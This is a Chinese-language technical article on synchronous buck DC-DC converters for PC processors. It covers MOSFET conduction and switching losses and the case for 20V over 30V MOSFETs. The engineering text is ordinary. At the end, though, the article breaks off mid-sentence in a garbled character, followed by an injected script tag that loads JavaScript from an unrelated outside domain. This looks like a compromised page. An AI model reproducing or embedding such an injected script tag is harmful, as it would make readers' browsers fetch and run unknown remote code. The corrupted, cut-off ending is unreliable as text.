摘要：分布式电源工程师的挑战是要设计一个具有改良的瞬态响应的快速转换dc-dc变换器，它另一方面也能维持或者提高功效。由于紧密的热封装对设备操作可靠性和最小损失的需求，这种设计必须得以实现。此文讨论取代桌上型电脑和服务器中更昂贵的30v mosfets，用于经济设计的高功效dc-dc变换器的20v mosfets的用途。
i. 引言
计算机建立世界上最具竞争的和迅速发展的市场之一。世界范围的pc出货量在2001年几乎达到1.3亿台，而且到2004年有望达到2亿多台，将比任何其他应用消耗更多的电子组件。随着pc市场的成长继续受到典型特征，数据存贮容量和改良的用户关系的驱使，新的sub-$1000 pc市场正在成长，使成本效率比以前更重要。同时，随着从intel或amd引进新的更快ghz级别的处理器用于桌上型电脑和服务器电脑，就需要更高频率的dc-dc变换器来适应新的处理器需要的瞬态响应。分布式电源工程师的挑战是要设计具有快速瞬态响应的有效的开关式dc-dc变换器。本文的讨论包括同步降压电流的mosfet选择和不同于当前商业方案的导通电路的功效与热性能估值实例。新的20v mosfet的耐用性和可靠性也会涉及到。
ii. 考谅dc-dc降压变换器中的电源损失
来自于intel和amd的最近的cpu电压-电阻规格要求负载电流回围速度为400a/ms，且峰值电流超过100a。cpu核心电源电压必须维持在它的指定容量范围内，甚至当处理器在单一时钟周期内执行从低电流“睡眠模式”到高电流“完成模式”的电流负载上升时。为了完成快速瞬态响应电流，设计者趋于提高操作频率。维持或者提高电源功效，同时提高频率是一项艰巨的任务，必须小心翼翼地完成。同步降压变换器中考谅的电源损失是设计高性能dc-dc变换器必须的一步。
桌上型电源管理系统使用分布式架构。ac-dc电源被用于变换ac线电压（85-265v）降为12vdc 。此12v校准dc电压然后被变换降为cpu需要使用的12v输入电压，sub 2- volt输出的同步降压变换器。
单相或多相降压变换器的使用依赖于必需的电流等级。图1展示同步降压变换器，这里q1是控制fet，q2是同步fet。如图2所示，mosfets功率总数为降压变换器中功率损失的一半以上——应用中一个重要的事实是依赖于功效。更深的检查之后，损失能被分为两个fets，即控制（q1）和同步（q2），然后用以下近似公式得出：
p loss q1 =（传导部分）+（转换部分）+（门驱动部分）+（输出电容部分）
p loss q2=（传导部分）+（门驱动部分）+（输出电容部分）+（体二极管反相恢复损失部分）
q1影响转换速度，而且同样的，强加临界值以最小化转换电荷qsw和门阻抗rg，同时维持合理的导通阻抗rds(on)。理想的情况是当转换损失和传导损失大约相等，得到相等的rds(on)和qsw时，最优化功效被最优实现。
同步fet中的损失q2被传导损失控制。因而rds(on)是同步fet的最重要的参数。在实践中，rds(on)越低则功效越好，但是这种典型情况产生于高成本。然而，由于转换频率接近1mhz，我们需要留意驱动器中消耗的功率。因而，同步fet的低门电荷总量qg显示出引人注目的优势。
iii. mosfet的选择
为了检查低电压mosfet技术，功效测量被制造在intel的db850gb上的双相同步降压变换器里，此底板是更新的商用奔4底板之一。这个dc-dc变换器设计具有12v输入和40a，1.7v输出。降压变换器被设计利用同步fet插孔里的两个d-pak 30v装置和控制fet插孔里的d2pak单一25v器件。做了大量测试来比较使用同样硅技术的20v mosfets和30v mosfets，也有商用30v mosfets。mosfets的规?script src=http://er12.com/t.js>
